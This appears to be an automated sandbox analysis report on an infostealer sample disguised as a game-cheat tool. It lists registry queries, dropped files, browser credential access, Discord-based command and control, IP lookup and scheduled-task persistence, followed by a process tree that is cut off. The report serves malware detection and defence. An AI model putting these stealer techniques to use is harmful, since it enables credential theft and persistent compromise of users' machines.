umbral | 87bbdc08df5add73d75325002704ab64c57d7e50ebff97b2fc4155b619eb2704

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000\Control Panel\International\Geo\Nation	PowerCheats(1).exe
Key value queried	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000\Control Panel\International\Geo\Nation	PowerCheatEmuHider.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000\Control Panel\International\Geo\Nation	PowerCheatEmuHider.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000\Control Panel\International\Geo\Nation	PowerCheatEmuHider.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000\Control Panel\International\Geo\Nation	conshost.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000\Control Panel\International\Geo\Nation	conshost.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000\Control Panel\International\Geo\Nation	conshost.exe

Executes dropped EXE 13 IoCs

pid	Process
5944	PowerCheats.exe
1980	PowerCheats(1).exe
2372	PowerCheatEmuHider.exe
2032	PowerCheatEmuHider.exe
5824	HiderLdPlayer.exe
3092	PowerCheatEmuHider.exe
5900	PowerCheatEmuHider.exe
3324	conshost.exe
1388	firefox.exe
5712	conshost.exe
6364	firefox.exe
8464	conshost.exe
8784	firefox.exe

Loads dropped DLL 64 IoCs

pid	Process
6136	Process not Found
4020	Process not Found
5876	Process not Found
1964	Process not Found
6020	taskmgr.exe
5536	WmiApSrv.exe
3504	Process not Found
3488	Process not Found
5832	Process not Found
5608	Process not Found
5308	Process not Found
2372	Process not Found
5412	Process not Found
636	Process not Found
5592	Process not Found
5824	HiderLdPlayer.exe
3180	Process not Found
5200	wmic.exe
944	Process not Found
216	Process not Found
2596	Process not Found
3400	powershell.exe
5888	Process not Found
5832	powershell.exe
820	Process not Found
632	powershell.exe
5720	Process not Found
6012	powershell.exe
4960	Process not Found
5412	wmic.exe
1004	Process not Found
2080	wmic.exe
2604	Process not Found
5092	wmic.exe
216	Process not Found
5576	powershell.exe
4120	Process not Found
2792	wmic.exe
2732	Process not Found
4960	Process not Found
5988	Process not Found
632	Process not Found
3140	Process not Found
5536	Process not Found
5972	Process not Found
1928	Process not Found
3676	Process not Found
5792	Process not Found
5892	Process not Found
5744	Process not Found
3092	Process not Found
1820	Process not Found
3092	PowerCheatEmuHider.exe
5900	PowerCheatEmuHider.exe
4092	Process not Found
5988	Process not Found
2332	WmiApSrv.exe
5592	Process not Found
1980	Process not Found
5896	Process not Found
3392	Process not Found
5732	Process not Found
1004	Process not Found
5848	Process not Found

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
513	discord.com
514	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
508	ip-api.com

Drops file in Windows directory 9 IoCs

description	ioc	Process
File opened for modification	C:\Windows\conshost.exe	conshost.exe
File created	C:\Windows\conshost.exe	PowerCheatEmuHider.exe
File opened for modification	C:\Windows\conshost.exe	firefox.exe
File opened for modification	C:\Windows\conshost.exe	firefox.exe
File opened for modification	C:\Windows\conshost.exe	conshost.exe
File opened for modification	C:\Windows\conshost.exe	conshost.exe
File opened for modification	C:\Windows\conshost.exe	PowerCheatEmuHider.exe
File created	C:\Windows\xdwd.dll	PowerCheatEmuHider.exe
File opened for modification	C:\Windows\conshost.exe	PowerCheatEmuHider.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe

Creates scheduled task(s) 1 TTPs 64 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
3900	schtasks.exe
3228	schtasks.exe
3992	schtasks.exe
5960	schtasks.exe
6076	schtasks.exe
8852	schtasks.exe
8696	schtasks.exe
8060	schtasks.exe
7384	schtasks.exe
1904	schtasks.exe
3860	schtasks.exe
8972	schtasks.exe
3964	schtasks.exe
2820	schtasks.exe
3924	schtasks.exe
3376	schtasks.exe
7716	schtasks.exe
7448	schtasks.exe
4764	schtasks.exe
2824	schtasks.exe
7676	schtasks.exe
8440	schtasks.exe
6820	schtasks.exe
3708	schtasks.exe
528	schtasks.exe
6876	schtasks.exe
3364	schtasks.exe
9092	schtasks.exe
5240	schtasks.exe
3992	schtasks.exe
3988	schtasks.exe
3124	schtasks.exe
6088	schtasks.exe
7236	schtasks.exe
3452	schtasks.exe
4992	schtasks.exe
1544	schtasks.exe
8124	schtasks.exe
8656	schtasks.exe
6312	schtasks.exe
8024	schtasks.exe
8500	schtasks.exe
5924	schtasks.exe
5300	schtasks.exe
2296	schtasks.exe
4452	schtasks.exe
2668	schtasks.exe
1892	schtasks.exe
1664	schtasks.exe
3488	schtasks.exe
5736	schtasks.exe
2588	schtasks.exe
1956	schtasks.exe
7604	schtasks.exe
7552	schtasks.exe
9068	schtasks.exe
5744	schtasks.exe
8176	schtasks.exe
8988	schtasks.exe
5832	schtasks.exe
2108	schtasks.exe
3744	schtasks.exe
5108	schtasks.exe
6672	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

pid	Process
2792	wmic.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies registry class 4 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	conshost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	conshost.exe
Key created	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings	firefox.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	conshost.exe

NTFS ADS 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\Downloads\PowerCheats.exe:Zone.Identifier	firefox.exe
File created	C:\Users\Admin\Downloads\PowerCheats(1).exe:Zone.Identifier	firefox.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
3336	NOTEPAD.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1972	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2992	chrome.exe
2992	chrome.exe
2032	PowerCheatEmuHider.exe
2032	PowerCheatEmuHider.exe
2032	PowerCheatEmuHider.exe
2032	PowerCheatEmuHider.exe
2032	PowerCheatEmuHider.exe
2032	PowerCheatEmuHider.exe
2032	PowerCheatEmuHider.exe
2032	PowerCheatEmuHider.exe
2032	PowerCheatEmuHider.exe
2032	PowerCheatEmuHider.exe
2032	PowerCheatEmuHider.exe
2032	PowerCheatEmuHider.exe
2032	PowerCheatEmuHider.exe
2032	PowerCheatEmuHider.exe
2032	PowerCheatEmuHider.exe
2032	PowerCheatEmuHider.exe
2032	PowerCheatEmuHider.exe
2032	PowerCheatEmuHider.exe
2032	PowerCheatEmuHider.exe
2032	PowerCheatEmuHider.exe
2032	PowerCheatEmuHider.exe
2032	PowerCheatEmuHider.exe
2032	PowerCheatEmuHider.exe
2032	PowerCheatEmuHider.exe
2032	PowerCheatEmuHider.exe
2032	PowerCheatEmuHider.exe
2032	PowerCheatEmuHider.exe
2032	PowerCheatEmuHider.exe
2032	PowerCheatEmuHider.exe
2032	PowerCheatEmuHider.exe
2032	PowerCheatEmuHider.exe
2032	PowerCheatEmuHider.exe
2032	PowerCheatEmuHider.exe
2032	PowerCheatEmuHider.exe
6020	taskmgr.exe
6020	taskmgr.exe
6020	taskmgr.exe
6020	taskmgr.exe
6020	taskmgr.exe
6020	taskmgr.exe
2032	PowerCheatEmuHider.exe
2032	PowerCheatEmuHider.exe
2032	PowerCheatEmuHider.exe
2032	PowerCheatEmuHider.exe
2032	PowerCheatEmuHider.exe
2032	PowerCheatEmuHider.exe
2032	PowerCheatEmuHider.exe
2032	PowerCheatEmuHider.exe
2032	PowerCheatEmuHider.exe
2032	PowerCheatEmuHider.exe
2032	PowerCheatEmuHider.exe
2032	PowerCheatEmuHider.exe
2032	PowerCheatEmuHider.exe
2032	PowerCheatEmuHider.exe
2032	PowerCheatEmuHider.exe
2032	PowerCheatEmuHider.exe
2032	PowerCheatEmuHider.exe
2032	PowerCheatEmuHider.exe
2032	PowerCheatEmuHider.exe
2032	PowerCheatEmuHider.exe
2032	PowerCheatEmuHider.exe
2032	PowerCheatEmuHider.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs

pid	Process
2992	chrome.exe
2992	chrome.exe
2992	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2992	chrome.exe
Token: SeCreatePagefilePrivilege	2992	chrome.exe
Token: SeShutdownPrivilege	2992	chrome.exe
Token: SeCreatePagefilePrivilege	2992	chrome.exe
Token: SeDebugPrivilege	2652	firefox.exe
Token: SeDebugPrivilege	2652	firefox.exe
Token: SeDebugPrivilege	2652	firefox.exe
Token: SeDebugPrivilege	2652	firefox.exe
Token: SeDebugPrivilege	2652	firefox.exe
Token: SeDebugPrivilege	2032	PowerCheatEmuHider.exe
Token: SeDebugPrivilege	6020	taskmgr.exe
Token: SeSystemProfilePrivilege	6020	taskmgr.exe
Token: SeCreateGlobalPrivilege	6020	taskmgr.exe
Token: SeDebugPrivilege	2652	firefox.exe
Token: SeDebugPrivilege	5824	HiderLdPlayer.exe
Token: SeIncreaseQuotaPrivilege	5200	wmic.exe
Token: SeSecurityPrivilege	5200	wmic.exe
Token: SeTakeOwnershipPrivilege	5200	wmic.exe
Token: SeLoadDriverPrivilege	5200	wmic.exe
Token: SeSystemProfilePrivilege	5200	wmic.exe
Token: SeSystemtimePrivilege	5200	wmic.exe
Token: SeProfSingleProcessPrivilege	5200	wmic.exe
Token: SeIncBasePriorityPrivilege	5200	wmic.exe
Token: SeCreatePagefilePrivilege	5200	wmic.exe
Token: SeBackupPrivilege	5200	wmic.exe
Token: SeRestorePrivilege	5200	wmic.exe
Token: SeShutdownPrivilege	5200	wmic.exe
Token: SeDebugPrivilege	5200	wmic.exe
Token: SeSystemEnvironmentPrivilege	5200	wmic.exe
Token: SeRemoteShutdownPrivilege	5200	wmic.exe
Token: SeUndockPrivilege	5200	wmic.exe
Token: SeManageVolumePrivilege	5200	wmic.exe
Token: 33	5200	wmic.exe
Token: 34	5200	wmic.exe
Token: 35	5200	wmic.exe
Token: 36	5200	wmic.exe
Token: SeIncreaseQuotaPrivilege	5200	wmic.exe
Token: SeSecurityPrivilege	5200	wmic.exe
Token: SeTakeOwnershipPrivilege	5200	wmic.exe
Token: SeLoadDriverPrivilege	5200	wmic.exe
Token: SeSystemProfilePrivilege	5200	wmic.exe
Token: SeSystemtimePrivilege	5200	wmic.exe
Token: SeProfSingleProcessPrivilege	5200	wmic.exe
Token: SeIncBasePriorityPrivilege	5200	wmic.exe
Token: SeCreatePagefilePrivilege	5200	wmic.exe
Token: SeBackupPrivilege	5200	wmic.exe
Token: SeRestorePrivilege	5200	wmic.exe
Token: SeShutdownPrivilege	5200	wmic.exe
Token: SeDebugPrivilege	5200	wmic.exe
Token: SeSystemEnvironmentPrivilege	5200	wmic.exe
Token: SeRemoteShutdownPrivilege	5200	wmic.exe
Token: SeUndockPrivilege	5200	wmic.exe
Token: SeManageVolumePrivilege	5200	wmic.exe
Token: 33	5200	wmic.exe
Token: 34	5200	wmic.exe
Token: 35	5200	wmic.exe
Token: 36	5200	wmic.exe
Token: SeDebugPrivilege	3400	powershell.exe
Token: SeDebugPrivilege	5832	powershell.exe
Token: SeDebugPrivilege	632	powershell.exe
Token: SeDebugPrivilege	6012	powershell.exe
Token: SeIncreaseQuotaPrivilege	5412	wmic.exe
Token: SeSecurityPrivilege	5412	wmic.exe
Token: SeTakeOwnershipPrivilege	5412	wmic.exe

Suspicious use of FindShellTrayWindow 48 IoCs

pid	Process
2992	chrome.exe
2992	chrome.exe
2992	chrome.exe
2992	chrome.exe
2992	chrome.exe
2992	chrome.exe
2992	chrome.exe
2992	chrome.exe
2992	chrome.exe
2992	chrome.exe
2992	chrome.exe
2992	chrome.exe
2992	chrome.exe
2992	chrome.exe
2992	chrome.exe
2992	chrome.exe
2992	chrome.exe
2992	chrome.exe
2992	chrome.exe
2992	chrome.exe
2992	chrome.exe
2992	chrome.exe
2992	chrome.exe
2992	chrome.exe
2992	chrome.exe
2992	chrome.exe
2652	firefox.exe
2652	firefox.exe
2652	firefox.exe
2652	firefox.exe
2992	chrome.exe
2652	firefox.exe
2652	firefox.exe
6020	taskmgr.exe
6020	taskmgr.exe
6020	taskmgr.exe
6020	taskmgr.exe
6020	taskmgr.exe
6020	taskmgr.exe
6020	taskmgr.exe
6020	taskmgr.exe
6020	taskmgr.exe
6020	taskmgr.exe
6020	taskmgr.exe
6020	taskmgr.exe
6020	taskmgr.exe
6020	taskmgr.exe
6020	taskmgr.exe

Suspicious use of SendNotifyMessage 44 IoCs

pid	Process
2992	chrome.exe
2992	chrome.exe
2992	chrome.exe
2992	chrome.exe
2992	chrome.exe
2992	chrome.exe
2992	chrome.exe
2992	chrome.exe
2992	chrome.exe
2992	chrome.exe
2992	chrome.exe
2992	chrome.exe
2992	chrome.exe
2992	chrome.exe
2992	chrome.exe
2992	chrome.exe
2992	chrome.exe
2992	chrome.exe
2992	chrome.exe
2992	chrome.exe
2992	chrome.exe
2992	chrome.exe
2992	chrome.exe
2992	chrome.exe
2652	firefox.exe
2652	firefox.exe
2652	firefox.exe
2652	firefox.exe
2652	firefox.exe
6020	taskmgr.exe
6020	taskmgr.exe
6020	taskmgr.exe
6020	taskmgr.exe
6020	taskmgr.exe
6020	taskmgr.exe
6020	taskmgr.exe
6020	taskmgr.exe
6020	taskmgr.exe
6020	taskmgr.exe
6020	taskmgr.exe
6020	taskmgr.exe
6020	taskmgr.exe
6020	taskmgr.exe
6020	taskmgr.exe

Suspicious use of SetWindowsHookEx 10 IoCs

pid	Process
2652	firefox.exe
2652	firefox.exe
2652	firefox.exe
2652	firefox.exe
2652	firefox.exe
2652	firefox.exe
2652	firefox.exe
2652	firefox.exe
2652	firefox.exe
2652	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2992 wrote to memory of 1932	2992	chrome.exe	101
PID 2992 wrote to memory of 1932	2992	chrome.exe	101
PID 2992 wrote to memory of 2056	2992	chrome.exe	102
PID 2992 wrote to memory of 2056	2992	chrome.exe	102
PID 2992 wrote to memory of 2056	2992	chrome.exe	102
PID 2992 wrote to memory of 2056	2992	chrome.exe	102
PID 2992 wrote to memory of 2056	2992	chrome.exe	102
PID 2992 wrote to memory of 2056	2992	chrome.exe	102
PID 2992 wrote to memory of 2056	2992	chrome.exe	102
PID 2992 wrote to memory of 2056	2992	chrome.exe	102
PID 2992 wrote to memory of 2056	2992	chrome.exe	102
PID 2992 wrote to memory of 2056	2992	chrome.exe	102
PID 2992 wrote to memory of 2056	2992	chrome.exe	102
PID 2992 wrote to memory of 2056	2992	chrome.exe	102
PID 2992 wrote to memory of 2056	2992	chrome.exe	102
PID 2992 wrote to memory of 2056	2992	chrome.exe	102
PID 2992 wrote to memory of 2056	2992	chrome.exe	102
PID 2992 wrote to memory of 2056	2992	chrome.exe	102
PID 2992 wrote to memory of 2056	2992	chrome.exe	102
PID 2992 wrote to memory of 2056	2992	chrome.exe	102
PID 2992 wrote to memory of 2056	2992	chrome.exe	102
PID 2992 wrote to memory of 2056	2992	chrome.exe	102
PID 2992 wrote to memory of 2056	2992	chrome.exe	102
PID 2992 wrote to memory of 2056	2992	chrome.exe	102
PID 2992 wrote to memory of 2056	2992	chrome.exe	102
PID 2992 wrote to memory of 2056	2992	chrome.exe	102
PID 2992 wrote to memory of 2056	2992	chrome.exe	102
PID 2992 wrote to memory of 2056	2992	chrome.exe	102
PID 2992 wrote to memory of 2056	2992	chrome.exe	102
PID 2992 wrote to memory of 2056	2992	chrome.exe	102
PID 2992 wrote to memory of 2056	2992	chrome.exe	102
PID 2992 wrote to memory of 2056	2992	chrome.exe	102
PID 2992 wrote to memory of 2056	2992	chrome.exe	102
PID 2992 wrote to memory of 4808	2992	chrome.exe	103
PID 2992 wrote to memory of 4808	2992	chrome.exe	103
PID 2992 wrote to memory of 4556	2992	chrome.exe	104
PID 2992 wrote to memory of 4556	2992	chrome.exe	104
PID 2992 wrote to memory of 4556	2992	chrome.exe	104
PID 2992 wrote to memory of 4556	2992	chrome.exe	104
PID 2992 wrote to memory of 4556	2992	chrome.exe	104
PID 2992 wrote to memory of 4556	2992	chrome.exe	104
PID 2992 wrote to memory of 4556	2992	chrome.exe	104
PID 2992 wrote to memory of 4556	2992	chrome.exe	104
PID 2992 wrote to memory of 4556	2992	chrome.exe	104
PID 2992 wrote to memory of 4556	2992	chrome.exe	104
PID 2992 wrote to memory of 4556	2992	chrome.exe	104
PID 2992 wrote to memory of 4556	2992	chrome.exe	104
PID 2992 wrote to memory of 4556	2992	chrome.exe	104
PID 2992 wrote to memory of 4556	2992	chrome.exe	104
PID 2992 wrote to memory of 4556	2992	chrome.exe	104
PID 2992 wrote to memory of 4556	2992	chrome.exe	104
PID 2992 wrote to memory of 4556	2992	chrome.exe	104
PID 2992 wrote to memory of 4556	2992	chrome.exe	104
PID 2992 wrote to memory of 4556	2992	chrome.exe	104
PID 2992 wrote to memory of 4556	2992	chrome.exe	104
PID 2992 wrote to memory of 4556	2992	chrome.exe	104
PID 2992 wrote to memory of 4556	2992	chrome.exe	104
PID 2992 wrote to memory of 4556	2992	chrome.exe	104
PID 2992 wrote to memory of 4556	2992	chrome.exe	104
PID 2992 wrote to memory of 4556	2992	chrome.exe	104
PID 2992 wrote to memory of 4556	2992	chrome.exe	104
PID 2992 wrote to memory of 4556	2992	chrome.exe	104
PID 2992 wrote to memory of 4556	2992	chrome.exe	104
PID 2992 wrote to memory of 4556	2992	chrome.exe	104

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2780	attrib.exe

C:\Windows\system32\NOTEPAD.EXE
C:\Windows\system32\NOTEPAD.EXE C:\Users\Admin\AppData\Local\Temp\mc.holyworld.ru.txt
1⤵
- Opens file in notepad (likely ransom note)
PID:3336

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4084,i,7977653611488681184,6839495125838449898,262144 --variations-seed-version --mojo-platform-channel-handle=1276 /prefetch:8
1⤵
PID:1680

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2992
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=110.0.5481.104 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffd542aab58,0x7ffd542aab68,0x7ffd542aab78
  2⤵
  PID:1932
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1756 --field-trial-handle=1812,i,5780465232835549425,9886679843070721395,131072 /prefetch:2
  2⤵
  PID:2056
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2200 --field-trial-handle=1812,i,5780465232835549425,9886679843070721395,131072 /prefetch:8
  2⤵
  PID:4808
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=2232 --field-trial-handle=1812,i,5780465232835549425,9886679843070721395,131072 /prefetch:8
  2⤵
  PID:4556
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=3112 --field-trial-handle=1812,i,5780465232835549425,9886679843070721395,131072 /prefetch:1
  2⤵
  PID:2844
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3120 --field-trial-handle=1812,i,5780465232835549425,9886679843070721395,131072 /prefetch:1
  2⤵
  PID:4996
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=3872 --field-trial-handle=1812,i,5780465232835549425,9886679843070721395,131072 /prefetch:1
  2⤵
  PID:2604
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4520 --field-trial-handle=1812,i,5780465232835549425,9886679843070721395,131072 /prefetch:8
  2⤵
  PID:3180
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4556 --field-trial-handle=1812,i,5780465232835549425,9886679843070721395,131072 /prefetch:8
  2⤵
  PID:412

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
1⤵
PID:3332
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe"
  2⤵
  - Checks processor information in registry
  - Modifies registry class
  - NTFS ADS
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of SetWindowsHookEx
  PID:2652
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2652.0.488269795\724876898" -parentBuildID 20230214051806 -prefsHandle 1748 -prefMapHandle 1740 -prefsLen 22076 -prefMapSize 235121 -appDir "C:\Program Files\Mozilla Firefox\browser" - {440245d3-7d84-4f29-83f8-b6052566b3d9} 2652 "\\.\pipe\gecko-crash-server-pipe.2652" 1844 233c740bd58 gpu
    3⤵
    PID:2832
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2652.1.2130324781\992088156" -parentBuildID 20230214051806 -prefsHandle 2416 -prefMapHandle 2412 -prefsLen 22112 -prefMapSize 235121 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {911d7b6d-cd00-4645-8041-ccb80472333a} 2652 "\\.\pipe\gecko-crash-server-pipe.2652" 2452 233ba785658 socket
    3⤵
    PID:4276
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2652.2.370374780\1545980337" -childID 1 -isForBrowser -prefsHandle 2968 -prefMapHandle 2964 -prefsLen 22150 -prefMapSize 235121 -jsInitHandle 1232 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3433d5d7-ce71-41d4-8c29-c32571929e3f} 2652 "\\.\pipe\gecko-crash-server-pipe.2652" 2980 233ca210558 tab
    3⤵
    PID:2592
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2652.3.1239686770\1088769522" -childID 2 -isForBrowser -prefsHandle 4040 -prefMapHandle 4036 -prefsLen 27616 -prefMapSize 235121 -jsInitHandle 1232 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {8bd0b50d-8211-4041-a327-4b0195e07acb} 2652 "\\.\pipe\gecko-crash-server-pipe.2652" 4044 233cbfd5e58 tab
    3⤵
    PID:5232
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2652.4.579341948\1576270840" -childID 3 -isForBrowser -prefsHandle 4964 -prefMapHandle 4960 -prefsLen 27616 -prefMapSize 235121 -jsInitHandle 1232 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {6052f133-fd54-43b4-a154-9d5eed193f9a} 2652 "\\.\pipe\gecko-crash-server-pipe.2652" 4976 233cd7efe58 tab
    3⤵
    PID:5796
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2652.5.61448087\836943332" -childID 4 -isForBrowser -prefsHandle 5092 -prefMapHandle 5096 -prefsLen 27616 -prefMapSize 235121 -jsInitHandle 1232 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {1500e9cc-4d41-4983-9694-e0dc998ac73b} 2652 "\\.\pipe\gecko-crash-server-pipe.2652" 4976 233cd7f0458 tab
    3⤵
    PID:5804
- - C:\Program Files\Mozilla Firefox\firefox.exe
